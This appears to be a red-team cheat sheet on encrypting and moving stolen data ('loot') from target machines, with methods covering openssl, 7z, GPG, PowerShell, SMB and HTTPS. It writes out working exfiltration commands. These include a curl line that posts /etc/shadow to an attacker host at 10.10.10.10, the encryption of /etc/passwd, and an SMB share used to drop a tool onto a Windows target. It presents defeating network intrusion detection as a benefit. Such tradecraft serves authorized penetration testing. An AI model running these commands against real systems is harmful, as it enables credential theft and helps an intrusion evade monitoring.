Loot often contains credentials, PII, or source code you absolutely do not want crossing the wire in the clear. Beyond operator professionalism, encryption also happens to defeat payload-signature NIDS. Encrypt before you transfer.

openssl AES-256 (Linux)

# Encrypt
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
 
# Decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd

-iter 100000 -pbkdf2 forces modern key derivation (defeats fast dictionary attacks on the passphrase).

7z with Encrypted Header

# -mhe=on encrypts the archive header too (hides filenames)
7z a -p'Pa$$w0rd' -mhe=on loot.7z loot/
 
# Extract
7z x loot.7z

PowerShell AES (Windows)

Using the community Invoke-AESEncryption.ps1:

Import-Module .\Invoke-AESEncryption.ps1
 
Invoke-AESEncryption -Mode Encrypt -Key 'Pa$$w0rd' -Path .\Scan_Result.txt
Invoke-AESEncryption -Mode Decrypt -Key 'Pa$$w0rd' -Path .\Scan_Result.txt.aes

GPG (Cross-Platform)

# Symmetric
gpg -c --cipher-algo AES256 loot.tar       # produces loot.tar.gpg
gpg -d loot.tar.gpg > loot.tar
 
# Asymmetric to a known key
gpg -e -r operator@team loot.tar

Credentialed SMB

Modern Windows blocks guest/anonymous SMB. Use auth on impacket-smbserver:

sudo impacket-smbserver share -smb2support /tmp/smbshare -user operator -password 'Str0ng!'
net use \\10.10.10.10\share /user:operator 'Str0ng!'
copy \\10.10.10.10\share\tool.exe C:\Users\Public\
net use \\10.10.10.10\share /delete

The share itself isn’t encrypted on the wire by default, but it does require creds — raising the bar for passive sniffers on the same segment.

HTTPS (TLS) Transport

Wrap any upload/download in HTTPS when possible:

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
curl -X POST https://10.10.10.10/upload -F 'files=@/etc/shadow' --insecure

Signed URLs / Pre-Shared Tokens

For high-OPSEC ops, avoid directory-listing uploaders. Use a one-shot token:

TOKEN=$(openssl rand -hex 16)
echo "URL: https://10.10.10.10/u/$TOKEN"
# Server validates $TOKEN and consumes it on first use

Pair with updog --password to require auth for every request.

Hash both ends

After decrypting on the attacker side, verify the hash against the hash you captured before encrypting on the target — proves integrity across the channel.

Ephemeral keys only

Never reuse the same encryption passphrase across engagements. Rotate per host, ideally per transfer. Store the key material out of band.